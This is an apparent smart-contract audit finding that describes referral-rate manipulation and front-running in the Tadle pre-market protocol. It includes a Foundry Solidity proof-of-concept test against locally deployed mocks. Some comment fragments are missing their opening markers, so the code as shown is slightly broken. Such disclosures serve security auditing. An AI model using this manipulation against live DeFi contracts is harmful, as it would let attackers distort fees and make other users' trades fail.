Moreover, this vulnerability allows for front-running attacks, where an attacker monitors the mempool and updates the referral rates before the taker's transaction is executed, potentially causing the transaction to fail or forcing the taker to pay an unexpected amount of tokens.
pragma solidity ^0.8.13;
import {Test, console2} from "forge-std/Test.sol";
import {SystemConfig} from "../src/core/SystemConfig.sol";
import {CapitalPool} from "../src/core/CapitalPool.sol";
import {TokenManager} from "../src/core/TokenManager.sol";
import {PreMarktes} from "../src/core/PreMarkets.sol";
import {DeliveryPlace} from "../src/core/DeliveryPlace.sol";
import {TadleFactory} from "../src/factory/TadleFactory.sol";
import {ReferralInfo} from "../src/interfaces/ISystemConfig.sol";
import {
OfferStatus,
StockStatus,
AbortOfferStatus,
OfferType,
StockType,
OfferSettleType
} from "../src/storage/OfferStatus.sol";
import {IPerMarkets, OfferInfo, StockInfo, MakerInfo, CreateOfferParams} from "../src/interfaces/IPerMarkets.sol";
import {TokenBalanceType, ITokenManager} from "../src/interfaces/ITokenManager.sol";
import {GenerateAddress} from "../src/libraries/GenerateAddress.sol";
import {MockERC20Token} from "./mocks/MockERC20Token.sol";
import {WETH9} from "./mocks/WETH9.sol";
import {UpgradeableProxy} from "../src/proxy/UpgradeableProxy.sol";
contract PreMarketsTest is Test {
SystemConfig systemConfig;
CapitalPool capitalPool;
TokenManager tokenManager;
PreMarktes preMarktes;
DeliveryPlace deliveryPlace;
address marketPlace;
WETH9 weth9;
MockERC20Token mockUSDCToken;
MockERC20Token mockPointToken;
address attacker = vm.addr(1);
address marketMaker = vm.addr(2);
address marketTaker = vm.addr(6);
address user2 = vm.addr(3);
address user3 = vm.addr(4);
address owner = vm.addr(5);
uint256 basePlatformFeeRate = 5_000;
uint256 baseReferralRate = 300_000;
bytes4 private constant INITIALIZE_OWNERSHIP_SELECTOR = bytes4(keccak256(bytes("initializeOwnership(address)")));
function setUp() public {
weth9 = new WETH9();
TadleFactory tadleFactory = new TadleFactory(owner);
mockUSDCToken = new MockERC20Token();
mockPointToken = new MockERC20Token();
SystemConfig systemConfigLogic = new SystemConfig();
CapitalPool capitalPoolLogic = new CapitalPool();
TokenManager tokenManagerLogic = new TokenManager();
PreMarktes preMarktesLogic = new PreMarktes();
DeliveryPlace deliveryPlaceLogic = new DeliveryPlace();
bytes memory deploy_data = abi.encodeWithSelector(INITIALIZE_OWNERSHIP_SELECTOR, owner);
vm.startPrank(owner);
address systemConfigProxy =
tadleFactory.deployUpgradeableProxy(1, address(systemConfigLogic), bytes(deploy_data));
address preMarktesProxy = tadleFactory.deployUpgradeableProxy(2, address(preMarktesLogic), bytes(deploy_data));
address deliveryPlaceProxy =
tadleFactory.deployUpgradeableProxy(3, address(deliveryPlaceLogic), bytes(deploy_data));
address capitalPoolProxy = tadleFactory.deployUpgradeableProxy(4, address(capitalPoolLogic), bytes(deploy_data));
address tokenManagerProxy =
tadleFactory.deployUpgradeableProxy(5, address(tokenManagerLogic), bytes(deploy_data));
systemConfig = SystemConfig(systemConfigProxy);
capitalPool = CapitalPool(capitalPoolProxy);
tokenManager = TokenManager(tokenManagerProxy);
preMarktes = PreMarktes(preMarktesProxy);
deliveryPlace = DeliveryPlace(deliveryPlaceProxy);
systemConfig.initialize(basePlatformFeeRate, baseReferralRate);
tokenManager.initialize(address(weth9));
address[] memory tokenAddressList = new address[](2);
tokenAddressList[0] = address(mockUSDCToken);
tokenAddressList[1] = address(weth9);
tokenManager.updateTokenWhiteListed(tokenAddressList, true);
systemConfig.createMarketPlace("Backpack", false);
vm.stopPrank();
deal(address(mockUSDCToken), attacker, 100000000 * 10 ** 18);
deal(attacker, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), marketTaker, 100 ether);
deal(marketTaker, 12 * 10 ** 18);
deal(address(mockUSDCToken), marketMaker, 100 ether);
deal(address(mockUSDCToken), user2, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), user3, 100000000 * 10 ** 18);
deal(address(mockPointToken), user2, 100000000 * 10 ** 18);
marketPlace = GenerateAddress.generateMarketPlaceAddress("Backpack");
vm.warp(1719826275);
vm.prank(attacker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.prank(marketTaker);
mockUSDCToken.approve(address(marketTaker), type(uint256).max);
vm.prank(marketMaker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.startPrank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
capitalPool.approve(address(mockUSDCToken));
}
function test_bounce_without_manipulation() public {
vm.startPrank(owner);
systemConfig.updateReferralExtraRateMap(marketTaker, 100_000);
vm.stopPrank();
uint256 referralExtraRate = systemConfig.referralExtraRateMap(marketTaker);
console2.log("referralExtraRate", referralExtraRate);
vm.startPrank(user2);
systemConfig.updateReferrerInfo(marketTaker, 300_000, 100_000);
ReferralInfo memory referralInfo = systemConfig.getReferralInfo(marketTaker);
console2.log("referralInfo.referrerRate", referralInfo.referrerRate);
console2.log("referralInfo.authorityRate", referralInfo.authorityRate);
console2.log("baseReferralRate", baseReferralRate);
vm.stopPrank();
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.startPrank(marketMaker);
preMarktes.createOffer(
CreateOfferParams(
marketPlace, address(mockUSDCToken), 500, 0.01 * 1e18, 12000, 300, OfferType.Ask, OfferSettleType.Turbo
)
);
vm.stopPrank();
vm.startPrank(marketTaker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, 500);
vm.stopPrank();
console2.log("After taker creation");
console2.log("Market Maker");
authorityReferralBonus: 10000000000000
referrerReferralBonus: 15000000000000
*/
log_claimable_per_address(marketMaker);
console2.log("Market Taker");
log_claimable_per_address(marketTaker);
}
function test_taker_manipulate_referral() public {
vm.startPrank(owner);
systemConfig.updateReferralExtraRateMap(marketTaker, 100_000);
vm.stopPrank();
uint256 referralExtraRate = systemConfig.referralExtraRateMap(marketTaker);
console2.log("referralExtraRate", referralExtraRate);
vm.startPrank(user2);
systemConfig.updateReferrerInfo(marketTaker, 400_000, 0);
ReferralInfo memory referralInfo = systemConfig.getReferralInfo(marketTaker);
console2.log("referralInfo.referrerRate", referralInfo.referrerRate);
console2.log("referralInfo.authorityRate", referralInfo.authorityRate);
console2.log("baseReferralRate", baseReferralRate);
vm.stopPrank();
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.startPrank(marketMaker);
preMarktes.createOffer(
CreateOfferParams(
marketPlace, address(mockUSDCToken), 500, 0.01 * 1e18, 12000, 300, OfferType.Ask, OfferSettleType.Turbo
)
);
vm.stopPrank();
vm.startPrank(marketTaker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, 500);
authorityReferralBonus: 0
referrerReferralBonus: 20000000000000
*/
vm.stopPrank();
console2.log("After taker creation");
console2.log("Market Maker");
log_claimable_per_address(marketMaker);
console2.log("Market Taker");
log_claimable_per_address(marketTaker);
}
function log_claimable_per_address(address wallet) private {
uint256 walletBalance = mockUSDCToken.balanceOf(wallet);
uint256 RefundAmount =
tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.MakerRefund);
uint256 TaxAmount = tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.TaxIncome);
uint256 SalesRevenueAmount =
tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
uint256 BounceAmount =
tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.ReferralBonus);
uint256 PointTokenAmount =
tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.PointToken);
uint256 RemainingCashAmount =
tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.RemainingCash);
console2.log("logging claimable status for wallet %s ", wallet);
console2.log("walletBalance", walletBalance);
console2.log("RefundAmount", RefundAmount);
console2.log("TaxAmount", TaxAmount);
console2.log("SalesRevenueAmount", SalesRevenueAmount);
console2.log("BounceAmount", BounceAmount);
console2.log("PointTokenAmount", PointTokenAmount);
console2.log("RemainingCashAmount", RemainingCashAmount);
}
}
This vulnerability disrupts the fairness and transparency of trades between market participants. It allows for potential front-running attacks, where the market taker’s transaction can be manipulated to fail or result in unexpected costs, undermining the protocol’s integrity.